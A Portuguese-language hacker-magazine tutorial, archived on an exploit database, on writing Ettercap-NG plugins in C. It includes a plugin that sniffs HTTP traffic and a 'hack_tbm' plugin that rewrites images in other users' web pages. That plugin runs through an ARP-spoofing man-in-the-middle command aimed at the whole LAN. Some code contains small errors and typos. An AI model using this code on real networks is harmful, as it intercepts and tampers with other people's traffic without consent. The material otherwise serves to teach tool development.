[Portugues] Writing ettercap plugins

EDB-ID:

12932

CVE:

N/A


Platform:

Multiple

Published:

2009-04-14

[ --- The Bug! Magazine

                    _____ _              ___               _
                   /__   \ |__   ___    / __\_   _  __ _  / \
                     / /\/ '_ \ / _ \  /__\// | | |/ _` |/  /
                    / /  | | | |  __/ / \/  \ |_| | (_| /\_/
                    \/   |_| |_|\___| \_____/\__,_|\__, \/
                                                   |___/

                      [ M . A . G . A . Z . I . N . E ]


             [ Numero 0x03 <---> Edicao 0x01 <---> Artigo 0x05 ]


.> 01 de Maio de 2008,
.> The Bug! Magazine < staff [at] thebugmagazine [dot] org >


            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              Desenvolvendo Plugins para o Ettercap-NG
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

.> Maycon Maia Vitali  < mayconmaia [at] yahoo [dot] com [dot] br >
                       < http://maycon.gsec.com.br >


[ --- Indice

+     1.     <---> Introducao
+     2.     <---> Bibliotecas necessarias
+     3.     <---> Registrando o Plugin e definido as rotinas de callback
+     4.     <---> Rotinas de leitura/escrita
+     5.     <---> Compilando e testando
+     6.     <---> Informacoes do globais
+     7.     <---> Macros pre-definidas
+     8.     <---> Aplicando hooks de protocolos
+     9.     <---> Trabalhando com Filter Engine
+     10.    <---> Caso de uso (plugin html_replace)
+     11.    <---> Conclusao



[ --- 1. Introducao

    Existem diversas ferramentas para se manipularem informacoes na rede. Desde
sniffers, passando por detectores e intrusos e ferramentas de ataque.
O Ettercap consiste em um programa capaz de juntar diversas funcionalidades de
seguranca de rede em uma unica ferramenta. Porem isto nao para por ai. O
Ettercap possui a capacidade de desenvolvimento de plugins, de maneira que suas
funcionalidades seja expandidas.

    Este texto descreve os passos necessarios e procura dar um ebasamento sobre
o processo de construcao de plugins para o Ettercap. Visto que nao pretendo
passar toda as funcoes fornecidas pela aplicacao. Qualquer duvida, consulte o
source. Digo o source, pois esta documentacao esta mais completa que a propria
documentacao do ettercao.


[ --- 2. Biblioteca necessarias

    #include <ec_plugins.h>

        Das dezenas de bibliotecas fornecidas pelo Ettercap, a unica realmente
    necessaria e a <ec_plugins.h>, pois ela fornece a estrutura plugin_ops
    utilizada para armazenar as informacoes e rotinas de callback do plugin e a
    propria rotina plugin_register() utilizada para registar um plugin junto ao
    Ettercap (Topico 3).

    #include <ec.h>

        Esta biblioteca nos fornece principalmente as informacoes globais do
    ambiente do Ettercap no instante em que o plugin esta sendo executado. Ela
    quem faz referencia as demais bibliotecas externas (como unistd.h) e alem
    disto ela possui uma diversidade de macros e definicoes para facilitar a
    escrita dos plugins. Algumas definicoes dos codigos das cores no padrao C
    ANSI (somente Linux e familia)

       EC_COLOR_END    
       EC_COLOR_BOLD   
       EC_COLOR_RED    
       EC_COLOR_YELLOW 
       EC_COLOR_GREEN  
       EC_COLOR_BLUE   
       EC_COLOR_CYAN  
            Codigos das cores no padrao C ANSI (Somente Linux e familia)

    #include <ec_hook.h>

        Se seu plugin necessita capturar pacotes da rede em algum protocolo
    especifico, esta biblioteca sera necessaria. Ela contem as implementacoes
    necessarias para se aplicar um hook (gancho) nas rotinas de captura de
    pacotes do motor principal do Ettercap, deixando o programador completamento
    livre de utilizar outras bibliotecas como 'libpcap'.

    #include <ec_packet.h>

        Esta biblioteca deve ser inserido quando e' necessario fazer a
    manipulacao de pacotes. Ela possui a estrutura utilizada como parametros nas
    rotinas registradas como gancho (hook) do sniffer do Ettercap. Esta
    estrutura e' a 'packet_object' e sera melhor detalhada no topico que fala
    de hook de protocolos.


[ --- 3. Registrando o Plugin e definido as rotinas de callback

        Se voce ja tiver alguma familiaridade em desenvolver LKM's ou Device
    Drivers, ja esta bastante familiarizado com o processo de registro de
    rotinas de callback.

        Todo plugin deve possuir uma funcao plugin_load, cuja sintaxe segue
    abaixo:

--------------------------------------------------------------------------------
    int plugin_load(void *handle) 
    {
       return 1;
    }
--------------------------------------------------------------------------------

        Esta funcao basicamente precisa registrar as rotinas de init e finish do
    plugin em desenvolvimento. A funcao citada e' a plugin_register() e ela
    possui dois parametros: o handle passado como parametro no plugin_load() e a
    estrutura 'plugin_ops' que armazena as informacoes do plugin.

        Segue a estrutura 'plugin_ops' com cada campo comentado:

--------------------------------------------------------------------------------
        struct plugin_ops dos_attack_ops = { 
           ettercap_version: EC_VERSION,
           name:             "cookie_sniffer",
           info:             "Pega os cookies do protocolo HTTP",
           version:          "1.0",
           init:             &cookie_sniffer_init,
           fini:             &cookie_sniffer_fini,
        };
--------------------------------------------------------------------------------

        ettercap_version: Contem uma estrutura com as informacoes da versao do
                          ettercap onde o plugin foi compilado. Para utilizar a
                          versao atual coloque a variavel global (em 'ec.h')
                          EC_VERSION que define a versao do ettercap.

        name:             Nome do plugin que aparecera quando pressionar a tecla
                          'p' no modo texto do ettercap e no menu plugin quando
                          estiver trabalhando com a interface grafica dele.

        info:             Uma cadeia de caractere que armazena as informacoes do
                          plugin. Este campo geralmente aparece junto com a
                          informacao 'name'.

        version:          A versao do seu plugin.

        init:             Rotina de callback que sera chamado quando seu plugin
                          for inicializado.


[ --- 4. Rotinas de leitura/escrita

        As vezes necessitamos escrever alguma coisa para o usuario ou
    simplesmente ler uma informacao do teclado. Poderiamos simplesmente utilizar
    as funcoes ja conhecidas como printf() scanf() e familia. Porem o ettercap
    possui alguns modos como quiet (que nao imprime muita informacao na tela) e
    ate' mesmo trabalha com interface grafica.

        Para resolver este impasso existe algumas funcoes definidas que abstrai
    o ambiente do usuario. Vejamos:

    USER_MSG() Envia uma mensagem para o usuario com a mesma sintaxe de um
               printf() porem necessita a autorizacao (nao quiet) do usuario
               ser impresso na tela no imediato momento em que ela foi chamada.

    INSTANT_USER_MSG() Semelhante a funcao anterior, porem a informacao e'
                       enviada imediatamento para o usuario.

    ui_input() Esta funcao e' utilizada para ler informacoes do usuario.
               Ela possui 4 parametros de acordo com a sintaxe abaixo:

--------------------------------------------------------------------------------
               void ui_input(

                   const char *title,     //- Titulo que sera impresso

                   char *input,           //- Variavel que sera lida

                   size_t n,              //- Tamanho da variavel lida

                   void (*callback)(void) //- Rotia que devera ser chamda com o
                                          //- buffer completo (utilizado para
                                          //- controle de logs
               )
--------------------------------------------------------------------------------

    Poderiamos ja ter um plugin funcional com o seguinte conteudo:

---[ ettercap_hello.c ]---------------------------------------------------------
/**
 * Plugin de exemplo para Ettercap.
 * Por Maycon Maia Vitali
 * Para tutorial de escrita de plugins para ettercal
 *
 * ( http://maycon.gsec.com.br )
 * (  mayconmaia@yahoo.com.br  )
 *
 */

#include <ec.h>
#include <ec_plugins.h>
#include <ec_hook.h>
#include <ec_packet.h>

int plugin_load(void *handle);
int func_init( void *dummy );
int func_fini( void *dummy );

struct plugin_ops hello_ops = {
    ettercap_version: EC_VERSION,
    name:             "hello_world",
    info:             "Hello World",
    version:          "0.0",
    init:             &func_init,
    fini:             &func_fini,
};

int plugin_load(void *handle) 
{
    return plugin_register(handle, &hello_ops);
}

char cNome[20];

int func_init( void *dummy ) {
    INSTANT_USER_MSG("Ola Mundo!\n");
    ui_input("Qual o seu nome? ", cNome, sizeof(cNome) - 1, NULL);
    INSTANT_USER_MSG("Ola %s :)\n", cNome);

    return PLUGIN_RUNNING;
}

int func_fini( void *dummy ) {
    INSTANT_USER_MSG("Tchau %s :(\n", cNome);
    return PLUGIN_FINISHED;
}

----------------------------------------------------------------------[ End ]---

    Uma coisa muito importante a falar e o fato das funcoes retornarem as
constantes predefinidas PLUGIN_RUNNING e PLUGIN_FINISHED. Para se ter uma ideia,
se nao tivessemos colocar o retorno PLUGIN_RUNNING na funcao de inicializacao o
plugin nao ficaria residente, ou seja, iniciaria e ja terminaria (sem executar a
funcao de finalizacao).


[ --- 5. Compilando e testando

    Os plugins do ettercap sao compilados como bibliotecas compartilhadas ( ou
shared libraries ), entao a compilacao nao possui nenhum parametro fora do
comum para estes aplicativos, somente a definicao de onde estao os arquivos de
bibliotecas do ettercap (-I).

    Para simplificar o trabalho, escrevi um Makefile simples para compilar nosso
exemplo ( ettercap_hello.c ), segue:

---[ Makefile ]-----------------------------------------------------------------
###
## Makefile para compilacao do plugin hello_world do ettercap
## Escrito por Maycon Maia Vitali para tutorial
##                                                 ( http://maycon.gsec.com.br )
##                                                 (  mayconmaia@yahoo.com.br  )
###

CC=/usr/bin/gcc
ETTERCAP_DIR=/home/noroot/b0x/codes/networking/ettercap-NG-0.7.3
GCC_LIBTOOL_PARAM=-pthread -rpath /usr/local/lib/ettercap -module -avoid-version

all:hello_world

hello_world:
	${CC} -DHAVE_CONFIG_H -fPIC -DPIC -I${ETTERCAP_DIR}/include -c \
	    -o hello_world.o hello_world.c
	${CC} -shared -pthread -Wl,-soname -Wl,ec_hello_world.o \
	    -o ec_hello_world.so hello_world.o
	${ETTERCAP_DIR}/libtool --mode=link gcc ${GCC_LIBTOOL_PARAM} \
	    -o ec_hello_world.la

install:
	cp ec_hello_world.so /usr/local/lib/ettercap/
	cp ec_hello_world.la /usr/local/lib/ettercap/

clean:
	rm -rf ec_hello_world.la hello_world.o ec_hello_world.so
----------------------------------------------------------------------[ End ]---

    Salve o Makefile no mesmo diretorio do plugin e em sequida execute 'make' e
como root 'make install'.

    O Makefile criado cria a biblioteca com os dois comandos executados inicial-
mente e em seguida utiliza um script fornecido com o ettercap para gerar um
arquivo ec_hello_world.la com as informacoes do plugin como nome da biblioteca,
versao, dependencias e alguns flags adicionais. Qualquer duvida edite o arquivo
ec_hello_world.la e veja seus comentarios.


    Bem, feito isto agora basta testar para saber se o plugin criado foi linkado
corretamente ao ettercap. *Foram removido dos logs algumas informacoes nao que
nao implicaria na explicacao do funcionamento):

---[ Shell Log ]----------------------------------------------------------------
hacklab # ettercap -Tq

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on eth0... (Ethernet)

  eth0 ->       00:C0:9F:BA:BA:CA     192.168.254.1     255.255.255.0

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...

   1 plugins
   
[ removido ]

Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help

[ Pressione P ]

Available plugins :

[0]     hello_world  0.0  Hello World    <---- Nosso plugin


Plugin name (0 to quit): hello_world <-- Digite o nome dele
Activating hello_world plugin...

Ola Mundo!
Qual o seu nome? 0ut0fBound <-- Digite seu nome
Ola 0ut0fBound :)

[ Pressione P ]

Available plugins :

[1]     hello_world  0.0  Hello World


Plugin name (0 to quit): hello_world   <--- Digite novamente o nome do plugin
Deactivating hello_world plugin...

Tchau 0ut0fBound :(  <-- Funcao de termino dele

[ Pressione Q de 'quit' ]

Closing text interface...

Unified sniffing was stopped.

hacklab #
----------------------------------------------------------------------[ End ]---


   Agora que ja sabemos como escrever, compilar e testar plugins para o ettercap
podemos nos aventurar a fazer coisas interessante e plugins realmente uteis para
o cotidiano.


[ --- 6. Informacoes do globais

    Quando nossos plugins sao carregados, o ettercap dispoe de diversar
informacoes para nos auxiliar, como os parametros passados, a lista de hosts
encontradas (para main-in-the-middle), alguma regra do ambiente atual, etc.

    Essas definicoes estao contidas no arquivos ec_globals.h e todas elas estao
em uma estrutura enorme chamada 'globals'. Porem existe uma macro para cada uma
delas com o nome do formato GBL_*. Uma variavel global ja foi utilizada, no caso
a variavel GBL_VERSION que pega a versao atual do ettercap. Ela fui utilizada
para registro do nosso plugin na estrutura plugin_ops.

    Vejamos uma listagem de algumas variaveis e o que representam, sendo que
elas sao acessadas como GBL_OPTIONS->write:

    GBL_OPTIONS: Armazena as opcoes passadas como parametro no ettercap.
        char write:1 -> Se esta escrevendo em um arquivo pcap
        char read:1  -> Se esta lendo os pacotes de um arquivo pcap
        char quiet:1 -> Se esta em quiet mode (respeite essas regras)
        char mitm:1  -> Se foi feito man-in-the-middle com a opcao -M no
                        ettercap
        char *pcapfile_in  -> Arquivo *.pcap de onde esta lendo o trafego
        char *pcapfile_out -> Arquivo *.pcap aonde esta sendo gravado o trafego

    GBL_HOSTLIST: Armazena a lista de hosts que esta no ambiente do ettercap.
                  Esta lista de hosts e' obtida quando e' passado algum alvo
                  para o ettercap. Este hostliste e' uma lista encadeada que
                  sera facilmente manipulavel por algumas macros pre-definidas
                  (proxima sessao).
                  Cada item da lista possui a seguinte estrutura:

--------------------------------------------------------------------------------
                    /* scanned hosts list */
                    struct hosts_list {
                        struct ip_addr ip;            // Endereco IP
                        u_char mac[MEDIA_ADDR_LEN];   // Endereco MAC
                        char *hostname;               // Hostname
                        LIST_ENTRY(hosts_list) next;  // Proximo
                    };
--------------------------------------------------------------------------------

    Alem destas variaveis, diversas outras sao fornecidas, qualquer duvida
consulte o arquivo ec_globals.h que possui todas as variaveis comentadas.


[ --- 7. Macros pre-definidas

    Diversas macros sao definidas para auxiliar a escrita de plugins, nesta
sessao vamos ver algumas delas, porem isso nao inibe o leitor a ler os arquivos
de include do ettercap e analizar as demais macros.

    Macros de alocacao de memoria:
    	SAFE_CALLOC(x, n, s): semalhante a funcao calloc()
    	SAFE_REALLOC(x, s): semelhante a funcao realoc()
    	SAFE_FREE(x): semelhante a funcao free()

    Macro para tratamento de bits (utilizado muito nas flags):
    	BIT_SET(r,b): Seta o bit b de r
    	BIT_RESET(r,b): Reseta o bit b de r
    	BIT_TEST(r,b): Testa se o bit b de r esta ativo, retornando verdadeiro
    	BIT_NOT(r,b): Inverte o bit b de r

    Macros min/man:
    	MIN(a,b): Retorna o menor valor entre a e b.
    	MAX(a,b): Retorna o maior valor entre a e b.

    Operacoes para listas simplesmente-encadeadas (Singly-Linked List):
    	SLIST_FIRST(head): Retorna o primeiro elemento da lista
    	SLIST_END(head): Retorna o finalizador de lista (NULL)
    	SLIST_EMPTY(head): Verifica se a lista esta vazia
    	SLIST_NEXT(head,field): Retorna o proximo elemento da lista do tipo
            field
    	SLIST_FOREACH(var,head,field): cria um repeticao retornando sempre o 
            proximo campo do tipo field da lista head em var.
    	SLIST_INSERT_HEAD(head, elm, field): Insere o registrp elm do tipo field
            no inicio da lista head
        SLIST_REMOVE_HEAD(head,field): Remove o primeiro registro (field) da
            lista head.

    Esta sao apenas algumas das diversas macros fornecidas pelo ettercap, as
demais macros que trabalham com listas podem ser obtidas no arquivo ec_queue.h.
Nos demais arquivos ainda possui outras macros bastante interessantes. Se formos
utilizar alguma no decorrer do restante do texto sera explicada sua
funcionalidade.


[ --- 8. Aplicando hooks de protocolos

    De nada adiantaria criar plugins para o ettercap se nao conseguissemos
capturar e manipular as informacoes trafegadas pela rede. O ettercap possui
diversas listas de rotinas de tratamento dos protocolos. Estas listas estao
ligadas entre si em alguma caracteristica em comum como um protocolo ou uma
camada especifica.

    O ettercap nos fornece duas funcoes que nos permite adicionar itens nesta
lista de rotinas, de maneira que possamos registar funcoes em nosso plugins que
serao chamadas com as informacoes de uma pacote (protocolo, frame, etc)
especifico.

    Estas funcoes sao hood_add() e hood_del() com os seguintes prototipos:
--------------------------------------------------------------------------------
        void hood_add(
            int point,
            void (*func)(struct packet_object *po)
        );

        int hood_del(
            int point,
            void (*func)(struct packet_object *po)
        ):
--------------------------------------------------------------------------------

    O parametro point indica em que ponto dos protocolos estamos querendo fazer
o hook, ou seja, e' uma definicao em ec_hook.h que determina em qual lista nossa
funcao sera adicionada.

    Algumas definicoes para o parametro point sao:

    	- HOOK_RECEIVED: O pacote puro (raw packet)

    	- HOOK_PACKET_ARP: Pacotes ARP (Address Resolution Protocol)
    	- HOOK_PACKET_IP : Pacotes IP (Internet Protocol)
    	- HOOK_PACKET_TCP: Pacotes TCP (Transmision Control Protocol)
    	- HOOK_PACKET_UDP: Pacotes UDP (User Datagram Protocol)

    	- HOOK_PROTO_DNS : Hook no protocolo DNS
    	- HOOK_PROTO_HTTP: Hook no protocolo HTTP

    O parametro (*func)(struct packet_object *po) define qual funcao nossa sera
utilizada no hook, dentro dela a necessidade de possuir um parametro com um
ponteiro para uma estrutura do tipo packet_object. A estrutura packet_object
armazena todas as informacoes do pacote atual como as 4 camadas: Eth em L2,
IP em L3, TCP em L4 e aplicacao em DATA, ou seja, se quizermos saber a porta de
destino do pacote recebido basta acessar *po->L4.dst e se quizermos acessar as
informacoes passadas na camada de aplicacao devemos acessar *po->DATA.data. Para
uma visao mais detalhada da estrutura packet_object veja ela no arquivo
ec_packet.h no diretorio include do ettercap.

    Para testes vamos pegar nosso plugin de hello_world e iremos criar um plugin
de http_sniffer, criando um hook no protocolo HTTP e imprimindo todos os dados
que forem passados para nossa funcao.

    Veja o codigo exemplo:

---[ http_sniff.c ]-------------------------------------------------------------
/**
 * Plugin de exemplo para Ettercap que captura os dados HTTP
 * Por Maycon Maia Vitali
 * Para tutorial de escrita de plugins para ettercap
 *
 * ( http://maycon.gsec.com.br )
 * (  mayconmaia@yahoo.com.br  )
 *
 */

#include <ec.h>
#include <ec_plugins.h>
#include <ec_hook.h>
#include <ec_packet.h>

// Prototipos
int plugin_load(void *handle);
int http_sniff_init( void *dummy );
int http_sniff_fini( void *dummy );
void sniff_http(struct packet_object *po);

/**
 * Estrutura de registro do plugin
 */
struct plugin_ops http_sniff_ops = {
    ettercap_version: EC_VERSION,
    name:             "http_sniff",
    info:             "Simples Sniffer HTTP",
    version:          "0.1",
    init:             &http_sniff_init,
    fini:             &http_sniff_fini,
};

/**
 * Funcao de inicializacao
 */
int plugin_load(void *handle) 
{
    //- Registra nosso plugin
    return plugin_register(handle, &http_sniff_ops);
}

/**
 * Funcao de callback de inicializacao do plugin
 */
int http_sniff_init( void *dummy )
{
    //- Aplica o hook no protocolo HTTP
    hook_add(HOOK_PROTO_HTTP, &sniff_http);

    //- Informa ao usuario da inicializacao do plugin
    INSTANT_USER_MSG("[+] Sniffer HTTP inicializado.\n");

    //- Mantem o plugin resident
    return PLUGIN_RUNNING;
}

/**
 * Funcao de callback de finalizacao do plugin
 */
int http_sniff_fini( void *dummy )
{
    //- Deleta o hook registrado
    hook_del(HOOK_PROTO_HTTP, &sniff_http);

    //- Avisa ao usuario que o plugin foi desativado
    INSTANT_USER_MSG("[+] Sniffer HTTP finalizado.\n");

    //- Finaliza o plugin
    return PLUGIN_FINISHED;
}

/**
 * Rotina utilizada no hook do protocolo HTTP
 */
void sniff_http(struct packet_object *po) {
    //- Imprime as informacoes do protocolo HTTP
    INSTANT_USER_MSG("%s", po->DATA.data);
    INSTANT_USER_MSG("------------------------------------------------\n");
}

----------------------------------------------------------------------[ End ]---


    E segue o Makefile para sua compilacao e instalacao, no mesmo padrao que o
plugin hello_world


---[ Makefile ]-----------------------------------------------------------------
###
## Makefile para compilacao do plugin http_sniff do ettercap
## Escrito por Maycon Maia Vitali para tutorial
##                                                 ( http://maycon.gsec.com.br )
##                                                 (  mayconmaia@yahoo.com.br  )
###

CC=/usr/bin/gcc
ETTERCAP_DIR=/home/noroot/b0x/codes/networking/ettercap-NG-0.7.3
GCC_LIBTOOL_PARAM=-pthread -rpath /usr/local/lib/ettercap -module -avoid-version

all:http_sniff

http_sniff:
	${CC} -DHAVE_CONFIG_H -fPIC -DPIC -I${ETTERCAP_DIR}/include -c \
	    -o http_sniff.o http_sniff.c
	${CC} -shared -pthread -Wl,-soname -Wl,ec_http_sniff.o \
	    -o ec_http_sniff.so http_sniff.o
	${ETTERCAP_DIR}/libtool --mode=link gcc ${GCC_LIBTOOL_PARAM} \
	    -o ec_http_sniff.la

install:
	cp ec_http_sniff.so /usr/local/lib/ettercap/
	cp ec_http_sniff.la /usr/local/lib/ettercap/

clean:
	rm -rf ec_http_sniff.la http_sniff.o ec_http_sniff.so
----------------------------------------------------------------------[ End ]---

    Uma coisa muito importante a ressaltar esta no fato de cada pacote ter um
campo de flags e, um dos flags mais importantes set o PO_MODIFIED que deve ser
setado caso seja alterado alguma informacao no pacote, isto para que o proprio
ettercap recalcule o checksum das camadas que o necessitam para, em seguida
retransmitir para o destino ( no caso de man-in-the-middle ):

--------------------------------------------------------------------------------
    po->flags =| PO_MODIFIED;
--------------------------------------------------------------------------------


[ --- 9. Trabalhando com Filter Engine

    O ettercap possui um recurso muito interessante chamado de filters. Este
recurso consiste em um conjunto de operacoes que podem ser aplicada a um
determinado pacote. Dentre estas informacoes temos a execucao de funcoes como
FFUNC_REPLACE, FFUNC_SEARCH, FFUNC_INJECT, FFUNC_DROP, etc. Temos tambem
operacoes de testes como FTEST_EQ(=), FTEST_NEQ(!=), FTEST_LT(<), FTEST_GT(>),
FTEST_LEQ(<=) e FTEST_GEQ(>=).

    As funcoes da Filter Engine sao chamadas atravez da funcao filter_engine():

        int filter_engine(struct filter_op *fop, struct packet_object *po);

    A variavel struct packet_object deve ser o pacote passado como parametro
para algumas das funcoes de hook e a estrutura filter_op consiste em um vetor
com a seguinte estrutura:

--------------------------------------------------------------------------------
    struct filter_op {
        char opcode;

        /*
            * the first two field of the structs (op and level) must
            * overlap the same memory region. it is abused in ef_encode.c
            * encoding a function that uses an offset as an argument
            */
        union {
            /* functions */
            struct {
                char op;
                u_int8 level; 
                u_int8 *string;
                size_t slen;
                u_int8 *replace;
                size_t rlen;
                struct regex_opt *ropt;
            } func;

            /* tests */
            struct {
                u_int8   op;
                u_int8   level;
                u_int8   size;
                u_int16  offset;
                u_int32  value;
                u_int8   *string;
                size_t   slen;
            } test, assign;

            /* jumps */
            u_int16 jmp;

        } op;
    };
--------------------------------------------------------------------------------

    O importante ressaltar e que, de acordo com o opcode passado, os parametros
da operacao devem estar na respectiva estrutura das 'unions'.

    Um exemplo comumente utilizado seria a funcao REPLACE para substituir algum
conteudo dos dados, no casso do protocolo HTTP, substituir alguma coisa no HTML.

    Como o parametro filter_op passado pela funcao filter_engine() consiste em
um vetor, ele precisa ser finalizado. Ao inves de finaliza-lo como de costume
como vetores em C, este vetor deve ser finalizado com a operacao FOP_EXIT.

    Um exemplo de um vetor do tipo filter_op para substituir o texto Google por
Googl3 seria:

--------------------------------------------------------------------------------
    char replace_from[] = "Google";
    char replace_top[] = "Googl3";

    struct filter_op fop[] = {{
        // aplica um replace em DATA->data
        opcode : FOP_FUNC,
        op : {
            func: {
                op      : FFUNC_REPLACE,
                string  : replace_from,
                slen    : strlen(replace_from),
                replace : replace_to,
                rlen    : strlen(replace_to)
            }
        }
    },
    {
        //- Fim das opecacoes
        opcode: FOP_EXIT
    }};

    filter_engine(&fop, po);
--------------------------------------------------------------------------------

    Se voce entrar na pagina do google com esse plugin carregado as palavras
google nao serao substituidas, isto porque a pagina vem com chunked gzip, ou
seja, compactada. Para funcionar corretamente, seria necessario desenvolver ou
pegar pronto um decoder. Nao tenho certesa se o ettercap ja possui esta
implementacao, qualquer duvida 'look the code'. Uma outra alternativa seria
alterar o pacote enviado substituindo o cabecalho e forcando o servidor a nao
nos enviar compactado.


[ --- 10. Caso de uso (plugin html_replace)

    Como escrevi este artigo inicialmente para a The Bug Magazine!, nada melhor
do que fazer uma 'brincadeira'.

    Existe uma ferramenta chamada airpwn que substitui as imagens de uma pagina
por alguma imagem definida. Tinha alguns espertinhos brincando com essa
ferramenta no III H2HC, me lembro da pagina da rfdslabs ownada localmente pelas
frases VUGO.

    Escrevi um plugin que sobrescreve uma imagem especificada por outra imagem
qualquer ( no caso a do chucky ). Segue seu codigo completo:

---[ hack_tbm.c ]---------------------------------------------------------------
/**
 * Plugin de exemplo para Ettercap que substitui uma informacao no HTML
 * Por Maycon Maia Vitali
 * Para tutorial de escrita de plugins para ettercap
 * Greetz: hophet / Sandimas / The Bug Magazine!
 *
 * ( http://maycon.gsec.com.br )
 * (  mayconmaia@yahoo.com.br  )
 *
 */

#include <ec.h>
#include <ec_plugins.h>
#include <ec_hook.h>
#include <ec_packet.h>
#include <ec_filter.h>

// Prototipos
int plugin_load(void *handle);
int hack_tbm_init( void *dummy );
int hack_tbm_fini( void *dummy );
void sniff_http(struct packet_object *po);

/**
 * Estrutura de registro do plugin
 */
struct plugin_ops hack_tbm_ops = {
    ettercap_version: EC_VERSION,
    name:             "hack_tbm",
    info:             "Simples Replace em HTTP (Hack The Bug Magazine!)",
    version:          "0.1",
    init:             &hack_tbm_init,
    fini:             &hack_tbm_fini,
};

/**
 * Funcao de inicializacao
 */
int plugin_load(void *handle) 
{
    //- Registra nosso plugin
    return plugin_register(handle, &hack_tbm_ops);
}

/**
 * Funcao de callback de inicializacao do plugin
 */
int hack_tbm_init( void *dummy )
{
    //- Aplica o hook no protocolo HTTP
    hook_add(HOOK_PROTO_HTTP, &sniff_http);

    //- Informa ao usuario da inicializacao do plugin
    INSTANT_USER_MSG("Plugin inicializado\n");

    //- Mantem o plugin residente
    return PLUGIN_RUNNING;
}

/**
 * Funcao de callback de finalizacao do plugin
 */
int hack_tbm_fini( void *dummy )
{
    //- Deleta o hook registrado
    hook_del(HOOK_PROTO_HTTP, &sniff_http);

    //- Avisa ao usuario que o plugin foi desativado
    INSTANT_USER_MSG("Plugin finalizado.\n");

    //- Finaliza o plugin
    return PLUGIN_FINISHED;
}

/**
 * Rotina utilizada no hook do protocolo HTTP
 */
void sniff_http(struct packet_object *po) {
    char replace_from[] = "images/index-thebug.jpg";
    char *replace_to = "http://www.sfondideldesktop.com/"
                       "Images-Movies/Chucky/Chucky-0002/Chucky-0002.jpg";

    //- Operacoes do Filter Enginer
    struct filter_op fop[] = {{
        // aplica um replace em DATA->data
        opcode : FOP_FUNC,
        op : {
            func: {
                op      : FFUNC_REPLACE,
                string  : replace_from,
                slen    : strlen(replace_from),
                replace : replace_to,
                rlen    : strlen(replace_to)
            }
        }
    },
    {
        //- Fim das opecacoes
        opcode: FOP_EXIT
    }};

    //- Substituindo se encontrou
    if ((po->DATA.data, "images/business.gif") != NULL) {
            filter_engine(&fop, po);
    }
}


----------------------------------------------------------------------[ End ]---

    E o respectivo Makefile:

---[ Makefile ]-----------------------------------------------------------------
###
## Makefile para compilacao do plugin hack_tbm do ettercap
## Escrito por Maycon Maia Vitali para tutorial
##                                                 ( http://maycon.gsec.com.br )
##                                                 (  mayconmaia@yahoo.com.br  )
###

CC=/usr/bin/gcc
ETTERCAP_DIR=/home/noroot/b0x/codes/networking/ettercap-NG-0.7.3
GCC_LIBTOOL_PARAM=-pthread -rpath /usr/local/lib/ettercap -module -avoid-version

all:hack_tbm

hack_tbm:
	${CC} -DHAVE_CONFIG_H -fPIC -DPIC -I${ETTERCAP_DIR}/include -c \
	    -o hack_tbm.o hack_tbm.c
	${CC} -shared -pthread -Wl,-soname -Wl,ec_hack_tbm.o \
	    -o ec_hack_tbm.so hack_tbm.o
	${ETTERCAP_DIR}/libtool --mode=link gcc ${GCC_LIBTOOL_PARAM} \
	    -o ec_hack_tbm.la

install:
	cp ec_hack_tbm.so /usr/local/lib/ettercap/
	cp ec_hack_tbm.la /usr/local/lib/ettercap/

uninstall:
	rm -rf /usr/local/lib/ettercap/ec_hack_tbm.so
	rm -rf /usr/local/lib/ettercap/ec_hack_tbm.la

clean:
	rm -rf ec_hack_tbm.la hack_tbm.o ec_hack_tbm.so

--------------------------------------------------------------------------------


    Para testar digite:
    $ make

    E com root:
    # make install

    Em seguinte inicie o ettercap fazendo main-in-the-middle e ativante o
plugin:
    # ettercap -Tq -M arp -P hack_tbm //

    E para ver o resultado acessem http://www.thebugmagazine.org de outra
maquina na mesma rede ( nao quer fazer man-in-the-middle em voce mesmo! ).
Assim poderia ver o plugin em funcionamento.



[ --- 11. Conclusao

    Este e o primeiro texto que escrevo sem o auxilio de outros, creio que nao
encontrara nenhum material tao completo de escrita de plugins para o ettercap,
visto que a propria documentacao do /doc nao abrange tao claramente isto.

    Gostaria de lembrar que este texto nao demostrou todos os aspectos e muito
menos explorou todas as funcionalidades do ettercap, ele ainda pode gerar
pacotes, utilizar PCRE (Perl Compatible Regular Expressions) no 'Filter Enginer'
entre outras coisas.

    Nao se esqueca: Qualquer duvida, look the code!

# milw0rm.com [2009-04-14]